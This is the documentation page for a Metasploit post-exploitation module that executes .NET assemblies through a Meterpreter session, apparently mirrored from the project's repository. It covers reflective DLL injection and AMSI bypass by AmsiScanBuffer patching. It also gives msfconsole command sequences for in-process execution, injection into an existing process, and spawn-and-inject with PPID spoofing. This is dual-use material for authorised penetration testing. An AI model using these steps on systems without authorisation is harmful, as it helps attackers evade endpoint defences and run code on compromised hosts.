Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/post/windows/manage/execute_dotnet_assembly.md
Views: 11788
Execute .Net assembly via Meterpreter session
This module executes a .NET Assembly from a Meterpreter session
It uses Reflective DLL injection to load HostingCLRx64.dll needed to run .NET assembly. This can be done either within the meterpreter session, or by injecting into a new or existing process.
The unmanaged injected DLL takes care of verifying if the process has already loaded the CLR, and loads it if necessary. The version of the CLR to be loaded is determined by parsing of the assembly provided and searching for a known signature. Then it runs the assembly from memory. Before loading the assembly in the context of the CLR, AMSI is bypassed using the AmsiScanBuffer patching technique. (https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-1/)
You'll find details at Execute assembly via Meterpreter session
Verification Steps
Example 1: Run within the same process
Build or download a .NET project
Build project with target framework that is present on the host
Start msfconsole
Do:
use post/windows/manage/execute_dotnet_assembly
Do:
set SESSION sessionid
Do:
set TECHNIQUE SELF
(to run within our own process)Do:
set DOTNET_EXE /your/output/folder/SeatBelt.exe
Do:
set ARGUMENTS user
Do:
run
The assembly should run.
Example 2: Run in existing process
Build or download a .NET project
Build project with target framework that is present on the host
Start msfconsole
Do:
use post/windows/manage/execute_dotnet_assembly
Do:
set SESSION sessionid
Do:
set TECHNIQUE INJECT
(to run within an existing process)Do:
set PID 8648
Do:
set DOTNET_EXE /your/output/folder/SeatBelt.exe
Do:
set ARGUMENTS user
Do:
run
The assembly should inject into process 8648.
Example 3: Run in new process
Build or download a .NET project
Build project with target framework that is present on the host
Start msfconsole
Do:
use post/windows/manage/execute_dotnet_assembly
Do:
set SESSION sessionid
Do:
set TECHNIQUE SPAWN_AND_INJECT
(to run within a new process)Do:
set PPID 8648
(optional PPID spoofing)Do:
set PROCESS notepad.exe
(process to launch)Do:
set USETHREADTOKEN false
(whether to launch the process under the current impersonation context)Do:
set DOTNET_EXE /your/output/folder/SeatBelt.exe
Do:
set ARGUMENTS user
Do:
set KILL true
(kill the spawned process once the assembly has completed - default: true)Do:
run
The assembly should run.